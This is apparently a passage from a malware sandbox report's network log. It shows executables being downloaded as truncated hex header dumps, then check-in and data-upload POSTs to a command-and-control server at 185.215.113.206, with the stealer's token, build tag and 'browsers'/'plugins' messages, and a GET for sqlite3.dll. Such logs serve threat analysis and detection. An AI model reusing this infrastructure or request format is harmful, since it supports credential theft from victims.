00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 07:17:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 07:17:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 07:17:37 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 07:17:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 07:17:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 33 30 43 45 32 45 36 42 43 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="hwid"830CE2E6BC91922063497------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="build"tale------HDHJEBFBFHJECAKFCAAK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="message"browsers------CAKFIJDHJEGIDHJKKKJJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECFCFBGDHIECAAFIIDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 49 49 44 2d 2d 0d 0a Data Ascii: ------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------JKECFCFBGDHIECAAFIIDContent-Disposition: form-data; name="message"plugins------JKECFCFBGDHIECAAFIID--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 66 63 35 34 33 39 64 36 32 65 61 64 36 63 32 37 66 64 65 61 63 38 31 66 37 61 35 64 66 33 32 62 34 30 36 34 39 65 66 35 66 38 39 65 39 34 38 35 32 35 34 36 63 61 34 31 37 33 31 36 63 61 65 34 37 35 31 66 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="token"50afc5439d62ead6c27fdeac81f7a5df32b40649ef5f89e94852546ca417316cae4751fc------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="message"fplugins------KJKFBAFIDAEBFHJKJEBF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKKJEBFIDAEBFHIDAEBHost: 185.215.113.206Content-Length: 7207Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHIHost: 185.215.113.206Content-Length: 2831Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBFHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
